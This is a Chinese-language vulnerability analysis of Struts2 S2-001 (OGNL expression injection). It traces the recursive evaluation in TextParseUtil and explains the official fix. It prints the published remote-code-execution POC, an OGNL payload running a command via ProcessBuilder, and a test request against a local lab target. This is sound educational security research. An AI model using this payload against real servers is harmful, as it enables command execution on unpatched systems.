Struts2框架: S2-001 漏洞详细分析
0x00 前言
阅读本文需要具备的知识:
- 熟悉J2EE开发, 主要是JSP开发
- 了解Struts2框架执行流程
- 了解Ognl表达式
如果你不具备这些知识, 阅读这篇文章将会是一场艰难的旅行.
0x01 漏洞复现
影响漏洞版本:
WebWork 2.1 (with altSyntax enabled), WebWork 2.2.0 - WebWork 2.2.5, Struts 2.0.0 - Struts 2.0.8
漏洞靶机代码: (下方通过该代码进行分析, 务必下载本地对比运行)
https://github.com/dean2021/java_security_book/tree/master/Struts2/s2_001
公布的POC:
%{#a=(new java.lang.ProcessBuilder(new
java.lang.String[]{"id"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new
java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new
char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new
java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
精简版POC:
%{1+1}
这里我们就用这个最精简的POC,靶机代码在本地运行成功后,我们发送请求:
POST /login.action HTTP/1.1
Host: localhost:8080
Content-Length: 19
Cache-Control: max-age=0
Origin: http://localhost:8080
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://localhost:8080/login.action
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,pt;q=0.7,da;q=0.6
Cookie: JSESSIONID=1478B902172E01647C8DDD6E62390FD1
Connection: close
// password=%{1+1}
password=%25%7B1%2B1%7D
HTTP响应的内容:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
|
HTTP/1.1 200
Content-Type: text/html;charset=ISO-8859-1
Date: Tue, 18 Dec 2018 09:21:30 GMT
Connection: close
Content-Length: 1222
// ... 省略
<form id="login" name="login" onsubmit="return true;" action="/login.action" method="post">
<table class="wwFormTable">
<tr>
<td class="tdLabel">
<label for="login_password" class="label">password:</label></td>
<td>
<input type="text" name="password" value="2" id="login_password" /></td>
</tr>
<tr>
<td colspan="2">
<div align="right">
<input type="submit" id="login_0" value="Submit" /></div>
</td>
</tr>
</table>
</form>
|
注意到input的value属性值为2, 证明成功执行了我们的OGNL表达式%{1+1}, 下面我们开始详细分析。
0x02 漏洞分析
通过官网安全公告,我们大概知道问题是出在textfield自定义标签里,如下是我们的index.jsp部分代码:
1
2
3
4
5
6
|
<%@taglib prefix="s" uri="/struts-tags" %>
<s:form action="login">
<s:textfield label="password" name="password"/>
<s:submit/>
</s:form>
|
从代码里我们可以看得到,struts2使用了自定义标签库,也就是/struts-tags, 通过阅读 struts2-core-2.0.8.jar!/META-INF/struts-tags.tld 文件,我们得知这个textfield标签实现类是org.apache.struts2.views.jsp.ui.TextFieldTag
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
|
public class TextFieldTag extends AbstractUITag {
private static final long serialVersionUID = 5811285953670562288L;
protected String maxlength;
protected String readonly;
protected String size;
public TextFieldTag() {
}
public Component getBean(ValueStack stack, HttpServletRequest req, HttpServletResponse res) {
return new TextField(stack, req, res);
}
protected void populateParams() {
super.populateParams();
TextField textField = (TextField)this.component;
textField.setMaxlength(this.maxlength);
textField.setReadonly(this.readonly);
textField.setSize(this.size);
}
/** @deprecated */
public void setMaxLength(String maxlength) {
this.maxlength = maxlength;
}
public void setMaxlength(String maxlength) {
this.maxlength = maxlength;
}
public void setReadonly(String readonly) {
this.readonly = readonly;
}
public void setSize(String size) {
this.size = size;
}
}
|
了解jsp自定义标签的同学应该知道,这时候我们需要找的是doStartTag方法,因为解析标签是从这个方法开始,具体可以参考[2], 通过在TextFieldTag类的ComponentTagSupport父类我们找到doStartTag方法,
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
|
public abstract class ComponentTagSupport extends StrutsBodyTagSupport {
protected Component component;
public ComponentTagSupport() {
}
public abstract Component getBean(ValueStack var1, HttpServletRequest var2, HttpServletResponse var3);
public int doEndTag() throws JspException {
this.component.end(this.pageContext.getOut(), this.getBody());
this.component = null;
return 6;
}
public int doStartTag() throws JspException {
this.component = this.getBean(this.getStack(), (HttpServletRequest)this.pageContext.getRequest(), (HttpServletResponse)this.pageContext.getResponse());
Container container = Dispatcher.getInstance().getContainer();
container.inject(this.component);
this.populateParams();
boolean evalBody = this.component.start(this.pageContext.getOut());
if (evalBody) {
return this.component.usesBody() ? 2 : 1;
} else {
return 0;
}
}
protected void populateParams() {
this.component.setId(this.id);
}
public Component getComponent() {
return this.component;
}
}
|
通过对doStartTag方法分析,得知该方法仅是对标签的部分属性初始化,并不是漏洞成因。 所以我们继续分析,当标签结束后,调用doEndTag方法, 继续跟进
1
2
3
4
5
6
|
public int doEndTag() throws JspException {
this.component.end(this.pageContext.getOut(), this.getBody());
this.component = null;
return 6;
}
|
这里的end方法是定义在UIbean类中, 跟进end方法实现
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
public abstract class UIBean extends Component {
public boolean end(Writer writer, String body) {
// 我们跟进这个方法的实现
this.evaluateParams();
try {
super.end(writer, body, false);
this.mergeTemplate(writer, this.buildTemplateName(this.template, this.getDefaultTemplate()));
} catch (Exception var7) {
LOG.error("error when rendering", var7);
} finally {
this.popComponentStack();
}
return false;
}
|
跟进this.evaluateParams方法的实现
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
public void evaluateParams() {
// 省略n行代码
if (...){
// 这个password字符串是解析textfield的name属性得出, 由于代码较多,这里伪代码代替
String name = "password"
// 此处是由struts.tag.altSyntax来配置,该属性指定是否允许在Struts2标签中使用OGNL表达式语法
if (this.altSyntax()) {
// 将textfield标签的name属性进行拼装, 也就是 exp = "%{password}"
expr = "%{" + name + "}";
}
// UIBaean.java 306行, 跟进this.findValue方法
this.addParameter("nameValue", this.findValue(expr, valueClazz));
}
// 省略n行代码
|
跟进 this.findValue(this.value, valueClazz)); 函数实现:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
public class Component {
// expr = "%{password}"
protected Object findValue(String expr, Class toType) {
if (this.altSyntax() && toType == String.class) {
// 跟进该方法
return TextParseUtil.translateVariables('%', expr, this.stack);
} else {
if (this.altSyntax() && expr.startsWith("%{") && expr.endsWith("}")) {
expr = expr.substring(2, expr.length() - 1);
}
return this.getStack().findValue(expr, toType);
}
}
|
跟进 TextParseUtil.translateVariables(‘%’, expr, this.stack); 实现:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
|
public class TextParseUtil {
public static String translateVariables(char open, String expression, ValueStack stack) {
return translateVariables(open, expression, stack, String.class, null).toString();
}
public static Object translateVariables(char open, String expression, ValueStack stack, Class asType, ParsedValueEvaluator evaluator) {
// deal with the "pure" expressions first!
//expression = expression.trim();
Object result = expression;
// 循环执行
while (true) {
// expression= %{password}
// 这段代码就是剔除${}, 保留password
int start = expression.indexOf(open + "{");
int length = expression.length();
int x = start + 2;
int end;
char c;
int count = 1;
while (start != -1 && x < length && count != 0) {
c = expression.charAt(x++);
if (c == '{') {
count++;
} else if (c == '}') {
count--;
}
}
end = x - 1;
if ((start != -1) && (end != -1) && (count == 0)) {
String var = expression.substring(start + 2, end);
// 第一次循环时,var是 password,执行返回结果是%{1+1},
// 第二次循环时,var是 1+1, 然后成功执行我们的恶意ognl表达式
Object o = stack.findValue(var, asType);
if (evaluator != null) {
o = evaluator.evaluate(o);
}
String left = expression.substring(0, start);
String right = expression.substring(end + 1);
if (o != null) {
if (TextUtils.stringSet(left)) {
result = left + o;
} else {
result = o;
}
if (TextUtils.stringSet(right)) {
result = result + right;
}
expression = left + o + right;
} else {
// the variable doesn't exist, so don't display anything
result = left + right;
expression = left + right;
}
} else {
break;
}
}
return XWorkConverter.getInstance().convertValue(stack.getContext(), result, asType);
}
|
如注释中所标注,最终在调用OgnlValueStack.findValue()执行了我们的Ognl表达式1+1
, 对OgnlValueStack不了解的同学,可以参考[3].
好了,分析完成, 漏洞造成原因是由于递归循环,将参数值当做ognl表达式进行执行,从而造成漏洞.
0x03 漏洞细节
1. 为什么执行%{password}表达式,能拿到我们请求的参数值%{1+1}?
该参数值是在ParametersInterceptor.java文件中进行设置的,熟悉Struts2框架的同学会Interceptor应该不陌生,我们看一下这个参数拦截器的实现代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
|
public class ParametersInterceptor extends MethodFilterInterceptor {
public String doIntercept(ActionInvocation invocation) throws Exception {
// 获取当前请求的action, 也就是LoginAction
Object action = invocation.getAction();
if (!(action instanceof NoParameters)) {
ActionContext ac = invocation.getInvocationContext();
// 获取当前请求的action的参数, 也就是我们的 password = %{1+1}
final Map parameters = ac.getParameters();
// ... 省略n行
if (parameters != null) {
Map contextMap = ac.getContextMap();
try {
// ... 省略n行
ValueStack stack = ac.getValueStack();
// 将参数丢仅stack, 跟进代码实现...
setParameters(action, stack, parameters);
} finally {
// ...
}
}
}
return invocation.invoke();
}
protected void setParameters(Object action, ValueStack stack, final Map parameters) {
ParameterNameAware parameterNameAware = (action instanceof ParameterNameAware)
? (ParameterNameAware) action : null;
Map params = null;
if( ordered ) {
params = new TreeMap(getOrderedComparator());
params.putAll(parameters);
} else {
params = new TreeMap(parameters);
}
for (Iterator iterator = params.entrySet().iterator(); iterator.hasNext();) {
Map.Entry entry = (Map.Entry) iterator.next();
String name = entry.getKey().toString();
// ... 省略n行
if (acceptableName) {
// 拿到我们的的%{1+1} 也就是我们的恶意ognl表达式
Object value = entry.getValue();
try {
// 将我们的参数存放到Ognl Stack中,
// passsword=%{1+1}
stack.setValue(name, value);
} catch (RuntimeException e) {
// ...
}
}
}
}
}
|
当你发送请求时,这个拦截器会将参数名及参数值存放到Stack中, 这就是为什么执行%{password}能够拿到我们的${1+1}, 所以漏洞触发必须有的流程:
- struts.tag.altSyntax配置为true,默认也就是true.
- 能够控制请求参数,及被请求的action中能够解析请求参数,也就是定义了对应的变量及对应的setter方法,如 private String password; , 不然ParametersInterceptor拦截器里获取不到参数.
- 跳转的jsp页面需要有个textfield标签, 及标签name属性和参数的key对应.
2. 为什么网上总说从在说Struts2 Validation(表单验证)触发漏洞?
我们上方漏洞触发的必须流程来看,在struts2框架中配置了Validation,如果表单验证失败,必然会跳转到表单提交页面,正好符合我们流程3, 也就是表单提交页面存在textfield标签, 从而触发了漏洞。(一般登录注册处容易出现这样的场景)
0x04 总结
Strtus2框架在开启struts.tag.altSyntax的情况下, 由于Struts2框架将请求参数值当做Ognl表达式执行,从而导致任意代码执行.
0x05 修复方案分析
官方建议Struts升级至2.0.9版本或XWork升级2.0.4版本,上方我们进行分析时,已经得知问题是出在xwork框架中,所以升级xwork版本即可。
我们分析一下修复代码:
- struts2 2.0.8源码下载
- struts2 2.0.9源码下载
通过分析struts 2.0.9的源码,我们从pom.xml文件中得知,其依赖的xwork包升级为2.0.4 修复了漏洞, 如下:
1
2
3
4
5
|
<dependency>
<groupId>com.opensymphony</groupId>
<artifactId>xwork</artifactId>
<version>2.0.4</version>
</dependency>
|
我们分析一下xwork2.0.4是怎么修复的漏洞
XWork 2.0.3 源码下载
XWork 2.0.4 源码下载
TIPS: jar文件解压命令: jar xvf xxx.jar
上方我们分析过程中也是TextParseUtil这个类的translateVariables方法中执行了OGNL表达式,通过代码比较,我们发现2.0.4对TextParseUtil.java文件进行了修改,下方我们看一下2.0.4的代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
|
public class TextParseUtil {
private static final int MAX_RECURSION = 1;
public static Object translateVariables(char open, String expression, ValueStack stack, Class asType, ParsedValueEvaluator evaluator) {
// 加了一个MAX_RECURSION常量
return translateVariables(open, expression, stack, asType, evaluator, MAX_RECURSION);
}
/**
* Converted object from variable translation.
*
* @param open
* @param expression
* @param stack
* @param asType
* @param evaluator
* @return Converted object from variable translation.
*/
public static Object translateVariables(char open, String expression, ValueStack stack, Class asType, ParsedValueEvaluator evaluator, int maxLoopCount) {
// deal with the "pure" expressions first!
//expression = expression.trim();
Object result = expression;
int loopCount = 1;
int pos = 0;
while (true) {
// 此时expression= %{name}
int start = expression.indexOf(open + "{", pos);
if (start == -1) {
pos = 0;
loopCount++;
start = expression.indexOf(open + "{");
}
// 增加这段代码最为关键,由于我们已知maxLoopCount=1, 第二次循环时loopCount=2,则break跳出当前循环,从而避免了恶意ognl执行
// 其实下方注释已经写得很清楚了
if (loopCount > maxLoopCount ) {
// translateVariables prevent infinite loop / expression recursive evaluation
// 译: 阻止无限循环,导致表达式递归计算
break;
}
int length = expression.length();
int x = start + 2;
int end;
char c;
int count = 1;
while (start != -1 && x < length && count != 0) {
c = expression.charAt(x++);
if (c == '{') {
count++;
} else if (c == '}') {
count--;
}
}
end = x - 1;
if ((start != -1) && (end != -1) && (count == 0)) {
String var = expression.substring(start + 2, end);
Object o = stack.findValue(var, asType);
if (evaluator != null) {
o = evaluator.evaluate(o);
}
String left = expression.substring(0, start);
String right = expression.substring(end + 1);
String middle = null;
if (o != null) {
middle = o.toString();
if (!TextUtils.stringSet(left)) {
result = o;
} else {
result = left + middle;
}
if (TextUtils.stringSet(right)) {
result = result + right;
}
expression = left + middle + right;
} else {
// the variable doesn't exist, so don't display anything
result = left + right;
expression = left + right;
}
pos = (left != null && left.length() > 0 ? left.length() - 1: 0) +
(middle != null && middle.length() > 0 ? middle.length() - 1: 0) +
1;
pos = Math.max(pos, 1);
} else {
break;
}
}
return XWorkConverter.getInstance().convertValue(stack.getContext(), result, asType);
}
|
通过阅读代码,我们已经知道Struts2官方修复的方式是增加了一个MAX_RECURSION=1常量,判断循环次数,从而避免递归循环导致ognl表达式执行.
0x06 引用
- S2-001安全公告
- 自订标签库–TagSupport详解
- XWork框架的元素详解